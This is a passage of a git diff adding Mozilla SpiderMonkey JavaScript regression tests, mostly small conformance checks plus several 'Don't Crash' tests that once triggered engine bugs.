+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+
+
+ if (i % 80 == 0) {
+ printStatus("This doesn't want to crash now, please keep trying.");
+ break;
+ }
+
+}
+
+// These have to be named functions, using anonymous functions doesn't crash.
+// Using just one function here makes the crash much less likely.
+function dummy(){}
+function dummy2(){}
+function dummy3(){}
+
+actual = 'No Crash';
+
+reportCompare(expect, actual, summary);
+
diff --git a/js/src/tests/non262/regress/regress-244619.js b/js/src/tests/non262/regress/regress-244619.js
new file mode 100644
index 0000000000..1406535e8c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-244619.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 244619;
+var summary = 'Don\'t Crash';
+var actual = 'Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function f1()
+{
+ var o = new Object();
+ eval.call(o, "var a = 'vodka'"); // <- CRASH !!!
+}
+
+// Rhino does not allow indirect eval calls
+try
+{
+ f1();
+}
+catch(e)
+{
+}
+
+actual = 'No Crash';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-245113.js b/js/src/tests/non262/regress/regress-245113.js
new file mode 100644
index 0000000000..abbda6ac00
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-245113.js
@@ -0,0 +1,47 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 245113;
+var summary = 'instanceof operator should return false for class prototype';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+Date.prototype.test = function() {
+ return (this instanceof Date);
+};
+
+String.prototype.test = function() {
+ return (this instanceof String);
+};
+
+status = summary + inSection(1);
+expect = false;
+actual = (Date.prototype.test instanceof Date);
+reportCompare(expect, actual, status);
+
+status = summary + inSection(2);
+expect = false;
+actual = Date.prototype.test();
+reportCompare(expect, actual, status);
+
+status = summary + inSection(3);
+expect = false;
+actual = String.prototype.test();
+reportCompare(expect, actual, status);
+
+status = summary + inSection(4);
+expect = true;
+actual = (new Date()).test();
+reportCompare(expect, actual, status);
+
+status = summary + inSection(5);
+expect = true;
+actual = (new String()).test();
+reportCompare(expect, actual, status);
+
diff --git a/js/src/tests/non262/regress/regress-245308.js b/js/src/tests/non262/regress/regress-245308.js
new file mode 100644
index 0000000000..51c928587f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-245308.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 245308;
+var summary = 'Don\'t Crash with nest try catch';
+var actual = 'Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function foo(e) {
+ try {}
+ catch(ex) {
+ try {}
+ catch(ex) {}
+ }
+}
+
+foo('foo');
+
+actual = 'No Crash';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-246911.js b/js/src/tests/non262/regress/regress-246911.js
new file mode 100644
index 0000000000..2f35f5fd83
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-246911.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 246911;
+var summary = 'switch() statement with variable as label';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = 'PASS';
+
+var a = 10;
+a = 9;
+var b = 10;
+
+switch(b)
+{
+case a:
+ actual = 'FAIL';
+ break;
+default:
+ actual = 'PASS';
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-246964.js b/js/src/tests/non262/regress/regress-246964.js
new file mode 100644
index 0000000000..d95b3c1da1
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-246964.js
@@ -0,0 +1,160 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 246964;
+// see also bug 248549, bug 253150, bug 259935
+var summary = 'undetectable document.all';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+if (typeof document == 'undefined')
+{
+ expect = actual = 'Test requires browser: skipped';
+ reportCompare(expect, actual, summary);
+}
+else
+{
+ status = summary + ' ' + inSection(1) + ' if (document.all) ';
+ expect = false;
+ actual = false;
+ if (document.all)
+ {
+ actual = true;
+ }
+ reportCompare(expect, actual, status);
+
+ status = summary + ' ' + inSection(2) + 'if (isIE) ';
+ expect = false;
+ actual = false;
+ var isIE = document.all;
+ if (isIE)
+ {
+ actual = true;
+ }
+ reportCompare(expect, actual, status);
+
+ status = summary + ' ' + inSection(3) + ' if (document.all != undefined) ';
+ expect = false;
+ actual = false;
+ if (document.all != undefined)
+ {
+ actual = true;
+ }
+ reportCompare(expect, actual, status);
+
+
+ status = summary + ' ' + inSection(4) + ' if (document.all !== undefined) ';
+ expect = true;
+ actual = false;
+ if (document.all !== undefined)
+ {
+ actual = true;
+ }
+ reportCompare(expect, actual, status);
+
+ status = summary + ' ' + inSection(5) + ' if (document.all != null) ' ;
+ expect = false;
+ actual = false;
+ if (document.all != null)
+ {
+ actual = true;
+ }
+ reportCompare(expect, actual, status);
+
+ status = summary + ' ' + inSection(6) + ' if (document.all !== null) ' ;
+ expect = true;
+ actual = false;
+ if (document.all !== null)
+ {
+ actual = true;
+ }
+ reportCompare(expect, actual, status);
+
+ status = summary + ' ' + inSection(7) + ' if (document.all == null) ';
+ expect = true;
+ actual = false;
+ if (document.all == null)
+ {
+ actual = true;
+ }
+ reportCompare(expect, actual, status);
+
+ status = summary + ' ' + inSection(8) + ' if (document.all === null) ';
+ expect = false;
+ actual = false;
+ if (document.all === null)
+ {
+ actual = true;
+ }
+ reportCompare(expect, actual, status);
+
+ status = summary + ' ' + inSection(9) + ' if (document.all == undefined) ';
+ expect = true;
+ actual = false;
+ if (document.all == undefined)
+ {
+ actual = true;
+ }
+ reportCompare(expect, actual, status);
+
+ status = summary + ' ' + inSection(10) + ' if (document.all === undefined) ';
+ expect = false;
+ actual = false;
+ if (document.all === undefined)
+ {
+ actual = true;
+ }
+ reportCompare(expect, actual, status);
+
+ status = summary + ' ' + inSection(11) +
+ ' if (typeof document.all == "undefined") ';
+ expect = true;
+ actual = false;
+ if (typeof document.all == 'undefined')
+ {
+ actual = true;
+ }
+ reportCompare(expect, actual, status);
+
+ status = summary + ' ' + inSection(12) +
+ ' if (typeof document.all != "undefined") ';
+ expect = false;
+ actual = false;
+ if (typeof document.all != 'undefined')
+ {
+ actual = true;
+ }
+ reportCompare(expect, actual, status);
+
+ status = summary + ' ' + inSection(13) + ' if ("all" in document) ';
+ expect = (document.compatMode == 'CSS1Compat') ? false : true;
+ actual = false;
+ if ('all' in document)
+ {
+ actual = true;
+ }
+ reportCompare(expect, actual, status);
+
+ status = summary + ' ' + inSection(14) + ' if (f.ie) ';
+ var f = new foo();
+
+ expect = false;
+ actual = false;
+ if (f.ie)
+ {
+ actual = true;
+ }
+ reportCompare(expect, actual, status);
+
+}
+
+function foo()
+{
+ this.ie = document.all;
+}
diff --git a/js/src/tests/non262/regress/regress-247179.js b/js/src/tests/non262/regress/regress-247179.js
new file mode 100644
index 0000000000..9e01051eef
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-247179.js
@@ -0,0 +1,18 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 247179;
+var summary = 'RegExp \\b should not recognize non-ASCII alphanumerics as word characters';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = 3;
+actual = "m\ucc44nd".split(/\b/).length;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-248444.js b/js/src/tests/non262/regress/regress-248444.js
new file mode 100644
index 0000000000..f04a4bac0c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-248444.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 248444;
+var summary = 'toString/toSource of RegExp should escape slashes';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var re;
+expect = '/[^\\/]+$/';
+
+status = summary + ' ' + inSection(1);
+re = /[^\/]+$/;
+actual = re.toString();
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(2);
+re = RegExp("[^\\\/]+$");
+actual = re.toString();
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(3);
+re = RegExp("[^\\/]+$");
+actual = re.toString();
+reportCompare(expect, actual, status);
diff --git a/js/src/tests/non262/regress/regress-252892.js b/js/src/tests/non262/regress/regress-252892.js
new file mode 100644
index 0000000000..5f799bb18f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-252892.js
@@ -0,0 +1,68 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 252892;
+var summary = 'for (var i in o) in heavyweight function f should define i in f\'s activation';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var status;
+
+var dodis;
+
+function f1(o){for(var x in o)printStatus(o[x]); return x}
+function f2(o){with(this)for(var x in o)printStatus(o[x]); return x}
+function f2novar(o){with(this)for(x in o)printStatus(o[x]); return x}
+function f3(i,o){for(var x in o)printStatus(o[x]); return x}
+function f4(i,o){with(this)for(var x in o)printStatus(o[x]); return x}
+
+var t=0;
+function assert(c)
+{
+ ++t;
+
+ status = summary + ' ' + inSection(t);
+ expect = true;
+ actual = c;
+
+ if (!c)
+ {
+ printStatus(t + " FAILED!");
+ }
+ reportCompare(expect, actual, summary);
+}
+
+assertEq(f1([]), undefined);
+
+assertEq(f1(['first']), "0");
+
+assertEq(f2([]), undefined);
+
+assertEq(f2(['first']), "0");
+
+assertEq(f3(42, []), undefined);
+
+assertEq(f3(42, ['first']), "0");
+
+assertEq(f4(42, []), undefined);
+
+assertEq(f4(42, ['first']), "0");
+
+this.x = 41;
+
+assertEq(f2([]), undefined);
+
+assertEq(f2novar([]), 41);
+
+assertEq(f2(['first']), undefined);
+
+assertEq(f2novar(['first']), "0");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/regress/regress-254296.js b/js/src/tests/non262/regress/regress-254296.js
new file mode 100644
index 0000000000..041c3876c9
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-254296.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 254296;
+var summary = 'javascript regular expression negative lookahead';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = [3].toString();
+actual = /^\d(?!\.\d)/.exec('3.A');
+if (actual)
+{
+ actual = actual.toString();
+}
+
+reportCompare(expect, actual, summary + ' ' + inSection(1));
+
+expect = 'AB';
+actual = /(?!AB+D)AB/.exec("AB") + '';
+reportCompare(expect, actual, summary + ' ' + inSection(2));
diff --git a/js/src/tests/non262/regress/regress-254974.js b/js/src/tests/non262/regress/regress-254974.js
new file mode 100644
index 0000000000..306fafbb11
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-254974.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+// this test originally was only seen if typed into the js shell.
+// loading as a script file did not exhibit the problem.
+// this test case may not exercise the problem properly.
+
+var BUGNUMBER = 254974;
+var summary = 'all var and arg properties should be JSPROP_SHARED';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function testfunc(tokens) {
+ function eek(y) {} /* remove function eek and the code will change its behavior */
+ return tokens.split(/\]?(?:\[|$)/).shift();
+}
+bad=testfunc;
+function testfunc(tokens) {
+ return tokens.split(/\]?(?:\[|$)/).shift();
+}
+good=testfunc;
+
+var goodvalue = good("DIV[@id=\"test\"]");
+var badvalue = bad("DIV[@id=\"test\"]");
+
+printStatus(goodvalue);
+printStatus(badvalue);
+
+expect = goodvalue;
+actual = badvalue;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-256501.js b/js/src/tests/non262/regress/regress-256501.js
new file mode 100644
index 0000000000..11186d9dfe
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-256501.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 256501;
+var summary = 'Check Recursion';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = 'error';
+
+try
+{
+ var N = 100*1000;
+ var buffer = new Array(N * 2 + 1);
+ for (var i = 0; i != N; ++i)
+ {
+ buffer[i] = 'do ';
+ buffer[buffer.length - i - 1] = ' while(0);';
+ }
+ buffer[N] = 'printStatus("TEST");';
+
+ // text is do do ... do print("TEST"); while(0); while(0); ... while(0);
+ var text = buffer.join('');
+
+ eval(text);
+ actual = 'no error';
+}
+catch(e)
+{
+ actual = 'error';
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-256617.js b/js/src/tests/non262/regress/regress-256617.js
new file mode 100644
index 0000000000..6dfc44bece
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-256617.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
